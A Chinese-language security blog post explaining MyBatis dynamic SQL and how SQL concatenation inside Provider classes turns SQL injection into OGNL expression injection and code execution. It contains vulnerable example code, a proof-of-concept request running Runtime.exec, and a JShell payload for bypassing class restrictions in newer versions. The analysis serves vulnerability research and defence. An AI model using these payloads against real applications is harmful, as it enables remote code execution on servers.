Mybatis 从SQL注入到OGNL注入

p4nda

发布于 2023-05-15 10:03:15

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发布于 2023-05-15 10:03:15

文章被收录于专栏：技术猫屋

动态SQL

动态 SQL 是 MyBatis 的强大特性之一，一般而言，如果不使用动态SQL来拼接SQL语句，是比较痛苦的，比如拼接时要确保不能漏空格，还要注意去掉列表最后一个列名的逗号等，但是利用动态 SQL，就可以彻底摆脱这种痛苦。

一般而言，使用mybatis有两种配置，一种是通过xml文件的方式来配置，另一种是通过注解的方式来配置。

1、xml文件

mybatis的*mapper.xml文件里能够使用动态SQL的标签有4种，分别是：

① if

if标签是Mybatis中使用动态SQL比较频繁的地方，尤其是在where的判断里，比如：

<select id="findActiveBlogWithTitleLike" resultType="Blog">
  SELECT * FROM BLOG WHERE state = 'ACTIVE'
  <if test="title != null">
    AND title like #{title}
  </if>
</select>

这里的SQL语句就提供了选择情景，如果我们不传入title或者传入的title为空，那么就不会拼接 AND title like #{title}

又或者想加入额外的判断：

<select id="findActiveBlogLike"
     resultType="Blog">
  SELECT * FROM BLOG WHERE state = 'ACTIVE'
  <if test="title != null">
    AND title like #{title}
  </if>
  <if test="author != null and author.name != null">
    AND author_name like #{author.name}
  </if>
</select>

结论：if标签里的 test属性，可以插入并解析OGNL表达式

② choose (when, otherwise)

根据官方文档中的说明

有时候，我们不想使用所有的条件，而只是想从多个条件中选择一个使用。针对这种情况，MyBatis 提供了 choose 元素，它有点像 Java 中的 switch 语句。

<select id="findActiveBlogLike" resultType="Blog">
  SELECT * FROM BLOG WHERE state = 'ACTIVE'
  <choose>
    <when test="title != null">
      AND title like #{title}
    </when>
    <when test="author != null and author.name != null">
      AND author_name like #{author.name}
    </when>
    <otherwise>
      AND featured = 1
    </otherwise>
  </choose>
</select>

结论：when标签里的 test属性，可以插入并解析OGNL表达式

③ trim (where, set)

<select id="findActiveBlogLike"  resultType="Blog">
  SELECT * FROM BLOG WHERE
  <if test="state != null">
    state = #{state}
  </if>
  <if test="title != null">
    AND title like #{title}
  </if>
  <if test="author != null and author.name != null">
    AND author_name like #{author.name}
  </if>
</select>

可以看下这个SQL语句，假设如果没有满足匹配的条件，那么最终这条 SQL 会变成这样：

SELECT * FROM BLOG
WHERE

毫无疑问，这会导致查询失败

同样的，如果匹配的只是第二个条件，这条 SQL 会是这样：

SELECT * FROM BLOG
WHERE
AND title like 'someTitle'

这个查询也会失败

所以mybatis提出来了trim方法，如下：

<select id="findActiveBlogLike" resultType="Blog">
  SELECT * FROM BLOG
  <where>
    <if test="state != null">
         state = #{state}
    </if>
    <if test="title != null">
        AND title like #{title}
    </if>
    <if test="author != null and author.name != null">
        AND author_name like #{author.name}
    </if>
  </where>
</select>

可以看到多了一个where标签，同理还有一个set标签

结论：该情况下，一般没有地方可以供我们插入OGNL表达式

④ foreach

动态 SQL 的另一个常见使用场景是对集合进行遍历（尤其是在构建 IN 条件语句的时候）。比如：

<select id="selectPostIn" resultType="domain.blog.Post">
  SELECT *
  FROM POST P
  <where>
    <foreach item="item" index="index" collection="list"
        open="ID in (" separator="," close=")" nullable="true">
          #{item}
    </foreach>
  </where>
</select>

结论：该情况下，一般没有地方可以供我们插入OGNL表达式

⑤ bind

bind 标签允许我们在 OGNL 表达式以外创建一个变量，并将其绑定到当前的上下文。比如：

<select id="selectBlogsLike" resultType="Blog">
  <bind name="pattern" value="'%' + _parameter.getTitle() + '%'" />
  SELECT * FROM BLOG
  WHERE title LIKE #{pattern}
</select>

结论：bind标签里的 value属性，可以插入并解析OGNL表达式

2、注解

springboot使我们摆脱了各种xml配置的烦恼，对应的，mybatis也为springboot提供了对应的注解来满足动态SQL的功能，主要有以下注解：

@Insert
@Update
@Delete
@Select
@InsertProvider
@SelectProvider
@UpdateProvider
@DeleteProvider

@Insert、@Update、@Delete和@Select这四个注解对应的是数据库增删改查功能，每一个都有一个对应的Provider注解标识

带有Provider注解和不带有Provider注解的区别是，使用Provider需要自己实现查询类，并且使用动态SQL也简单很多。

举个例子，如果@Update注解想要实现动态SQL，那么一定要使用 <script> 标签，如下：

@Update({"<script>",
      "update Author",
      "  <set>",
      "    <if test='username != null'>username=#{username},</if>",
      "    <if test='password != null'>password=#{password},</if>",
      "    <if test='email != null'>email=#{email},</if>",
      "    <if test='bio != null'>bio=#{bio}</if>",
      "  </set>",
      "where id=#{id}",
      "</script>"})
void updateAuthorValues(Author author);

可以看到，可以引用xml中的标签，然后来使用动态SQL

但这样的方式很不美观，而且也有点鸡肋（还不如直接用xml来配置了）

因此有了各类Provider，如：@SelectProvider

我们定义一个查询方法为：

@SelectProvider(type = UserDaoProvider.class, method = "findTeacherByName")
Teacher findUserByName(Map<String, Object> map);

SelectProvider 调用的方法为findTeacherByName，如下：

  public String findTeacherByName(Map<String, Object> map) {
        String name = (String) map.get("name");
        String s = new SQL() {
            {
                SELECT("id,email");
                FROM("Teacher");
                if(map.get("id")!=null)            
                WHERE("name=#{name}");
            }
        }.toString();
        return s;
    }
}

可以看到，这种方式没有任何标签，但是同样实现了动态SQL

漏洞分析

场景分析

前面说了动态SQL的基础知识，可以看到，主要就一个点，在动态SQL中，可以解析OGNL表达式

那么是不是说，如果我们控制了一个变量，并且该变量可以被解析成OGNL表达式，是不是就能够实现OGNL表达式注入呢？

答案是肯定的。

经过研究，总结出变量可以被解析成OGNL表达式，主要有以下几个地方：

if标签里的 test属性

此属性一般写死，不可控

when标签里的 test属性

此属性一般写死，不可控

bind标签里的 value 属性

bind标签value属性是可以传值的，如：

<if test="name != null and name !=''">
  <bind name="likename" value="name" />
       name like #{likename}
</if>

但经过测试发现，这里进行OGNL表达式解析的时候，是有顺序的

假设令name的值为：${@java.lang.Math@min(4,10)}

我们想要的执行顺序是这样的：

先利用OGNL表达式解析器来获取${@java.lang.Math@min(4,10)}的值，得到值以后，再将其赋给bind标签中的value，即：

<bind name="likename" value="4" />

但实际上并非如此，mybatis对于bind中value属性的OGNL解析流程是这样的，

首先利用OGNL表达式解析器解析value的值，此时值单纯为name变量，即：

<bind name="likename" value="name" />

然后得到值，${@java.lang.Math@min(4,10)}，然后将其赋给bind标签value属性中的name变量，即：

<bind name="likename" value="${@java.lang.Math@min(4,10)}" />

这也就导致我们无法令传入的变量的值被OGNL表达式解析器来进行解析，也就无法实现OGNL表达式注入

${param} 参数中

${param} 和【bind标签里的 value属性】同理，虽然可以传值，但是存在解析顺序问题，同样无法实现OGNL表达式注入

比如存在以下select标签：

<select id="findTeacherByName" resultMap="BaseResultMap" parameterType="com.example.mybatis.entity.Teacher">
select id,email from Teacher where name = ${name};
</select>

传入的name为：${@java.lang.Math@min(4,10)}

那么其解析过程为：

首先利用OGNL解析器解析${}标签里的内容，解析完毕以后得到name的变量，传入SQL中：

select id,email from Teacher where name = '${@java.lang.Math@min(4,10)}';

Provider实现类中的拼接到SQL里的变量

在注解部分里，曾经提到：

  public String findTeacherByName(Map<String, Object> map) {
        String name = (String) map.get("name");
        String s = new SQL() {
            {
                SELECT("id,email");
                FROM("Teacher");
                if(map.get("id")!=null)            
                WHERE("name=#{name}");
            }
        }.toString();
        return s;
    }
}

可以看到，返回值实际上就是一个SQL语句

没错，Provider其实就是要返回一个SQL字符串，只不过用了一些关键字做格式化而已，其实不使用也可以，比如：

  public String findTeacherByName(Map<String, Object> map) {
        String name = (String) map.get("name");
        String s = new SQL() {
            {
                SELECT("id,email");
                FROM("Teacher");
                if(map.get("id")!=null)            
                WHERE("name=" + name);
            }
        }.toString();
        return s;
    }
}

甚至可以使用String字符串拼接SQL语句：

  public String findTeacherByName(Map<String, Object> map) {
        String name = (String) map.get("name");
        String sql = "select id,email from Teacher where name = " + name;
        return sql;
    }
}

亦或者使用String.format来处理：

   public String findTeacherByName(Map<String, Object> map) {
        String name = (String) map.get("name");
      String finalName = String.format(" name in (%s)", name);
      String sql = new SQL() {{
        SELECT("id,email");
        FROM("Teacher");
        WHERE(finalName);
        ORDER_BY("id desc");
      }}.toString();
      System.out.println(sql);
      return sql;
    }

有时候复杂的语句还可以使用StringBuilder或者StringBuffer拼接，如：

public String countUserByRolePM(final UserVO userVO)
    {
        StringBuffer sb = new StringBuffer();
        sb.append("SELECT count(*) FROM ( ");
        sb.append(" SELECT A.*,count(P.Id) FROM (");
        sb.append(" SELECT U.id,U.name,DD.referrer,U.mobilePhone ,U.country ,U.city,U.goodAtIndustry,U.englishAbility,U.goodAtArea,U.state,U.createTime,U.modifyTime  FROM T_USER U LEFT JOIN T_USER_ROLE UR ON U.id = UR.userId " +
                " LEFT JOIN (SELECT A.id,B.name as referrer FROM T_USER AS  A INNER JOIN T_USER as B ON A.referrer = B.id) as DD ON DD.id = U.id WHERE 1=1 ");

        sb.append(" AND UR.roleId in (");

        String[] roleids = userVO.getParaRoleIDS().split(",");

        if (roleids != null){
            for (int i = 0 ; i< roleids.length ; i ++){
                String s = roleids[i];
                if(i != roleids.length -1){
                    sb.append("'" + s + "'" + ",");
                }else{
                    sb.append("'" + s + "'");
                }
            }
        }
        sb.append(")");

        if(!StringUtils.isEmpty(userVO.getName())){
            sb.append(" AND U.name LIKE CONCAT('%',#{name},'%')");
        }
        if(!StringUtils.isEmpty(userVO.getMobilePhone())){
            sb.append(" AND U.mobilePhone = #{mobilePhone}");
        }
        if(!StringUtils.isEmpty(userVO.getCity())){
            sb.append(" AND U.city LIKE CONCAT('%',#{city},'%')");
        }
        if(!StringUtils.isEmpty(userVO.getRegion())){
            sb.append(" AND U.region LIKE CONCAT('%',#{region},'%')");
        }
        if(!StringUtils.isEmpty(userVO.getPlatformLevel())){
            sb.append(" and U.platformLevel =  #{platformLevel}");
        }
        if(!StringUtils.isEmpty(userVO.getGoodAtIndustry())){
            sb.append(" and find_in_set(#{goodAtIndustry},U.goodAtIndustry)");
        }
        if(!StringUtils.isEmpty(userVO.getState())){
            sb.append(" and U.state = #{state}");
        }
        sb.append(" GROUP BY U.id");
        sb.append(" ) A");
        sb.append(" LEFT JOIN T_PROJECT P ON P.pmId = A.id");
        sb.append(" GROUP BY A.id");
        sb.append(" ORDER BY A.modifyTime DESC");
        sb.append(") as A");
        return sb.toString();
    }

这样形成的SQL语句，实际上就是相当于生成了一个XML文件：

<select id="findTeacherByName" resultMap="BaseResultMap" parameterType="com.example.mybatis.entity.Teacher">
select id,email from Teacher where name = 传入的name值
</select>

那这样的方式和bind标签里的 value 属性或者${param} 参数中有没有区别呢？

当然有区别，并且这种区别是本质的

正是前文中提到的：解析顺序

这种形成的SQL语句会首先进行OGNL表达式，然后再执行查询。

以下面的Provider为例：

  public String findTeacherByName(Map<String, Object> map) {
        String name = (String) map.get("name");
        String s = new SQL() {
            {
                SELECT("id,email");
                FROM("Teacher");
                if(map.get("id")!=null)            
                WHERE("name=" + name);
            }
        }.toString();
        return s;
    }
}

如果我们传入name的值为：${@java.lang.Math@min(4,10)}

其流程是这样的：

首先生成了SQL语句为：

select id,email from Teacher where name = ${@java.lang.Math@min(4,10)};

经过一系列的传递，相当于生成（实际上并未生成，直接解析的）了一个如下的XML文件：

<select id="findTeacherByName" resultMap="BaseResultMap" parameterType="com.example.mybatis.entity.Teacher">
select id,email from Teacher where name = ${@java.lang.Math@min(4,10)};
</select>

然后进行OGNL表达式解析：

<select id="findTeacherByName" resultMap="BaseResultMap" parameterType="com.example.mybatis.entity.Teacher">
select id,email from Teacher where name = '4';
</select>

解析完毕以后得到name的变量，传入SQL中：

select id,email from Teacher where name = '4';

这也就导致了OGNL表达式注入

影响范围

mybatis-spring-boot-starter >=2.0.1（mybatis-spring-boot-starter组件从2.0.1版本开始支持Provider动态SQL）

或者

Mybatis 全版本

或者

mybatis-plus-boot-starter >=3.1.1

漏洞复现

如果在mybatis中存在某个SelectProvider（或者其他的Provider）的方法实例如下：

  public String findTeacherByName(Map<String, Object> map) {
        String name = (String) map.get("name");
        String s = new SQL() {
            {
                SELECT(returnSql);
                FROM("Teacher");
                WHERE("name=" + name);
            }
        }.toString();
        return s;
    }
}

对应controller如下：

@RequestMapping("selectUserByName")
public Teacher getUserOne(String id,String name){

    Teacher tea=new Teacher();
    tea.setId(id);
    tea.setName(name);
    Teacher teacher=userService.findTeacherByName(tea);
    return teacher;

}
http://localhost:8080/selectUserByName?id=7&name=%24%7B@java.lang.Runtime@getRuntime().exec("open /System/Applications/Calculator.app")%7D

利用环境下载：

链接: https://pan.baidu.com/s/1rKZDdpv3vfV-pQGXhAFfKw 提取码: b3qs

漏洞利用限制

不同版本的mybatis-spring-boot-starter引用了不同的Mybatis版本，而不同的Mybatis版本又使用了不同的OGNL组件版本

在 mybatis-spring-boot-starter 组件的2.0.1版本中，其引用的Mybatis版本为3.5.1，对应的OGNL版本为3.2.10，在这个版本中，并未对传入的OGNL表达式反射调用的类进行限制，而在高版本中进行了限制（如mybatis3.5.9，具体从哪个版本开始限制的，没有调查），因此想要在高版本中进行绕过限制，需要一定的技巧，这里只提供一种Java环境大于等于JDK9的通杀payload ，小于9的也可以绕过，具体可以思考从编码入手。

${@jdk.jshell.JShell@create().eval('java.lang.Runtime.getRuntime().exec("open /System/Applications/Calculator.app")')}

总结

该漏洞为特殊场景下的利用，只有存在SQL注入的时候，此漏洞才会存在

因此可能遇到的情景比较少

是一种特定场景下mybatis SQL到RCE的补充利用

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原始发表：2023-03-01，如有侵权请联系 cloudcommunity@tencent.com 删除

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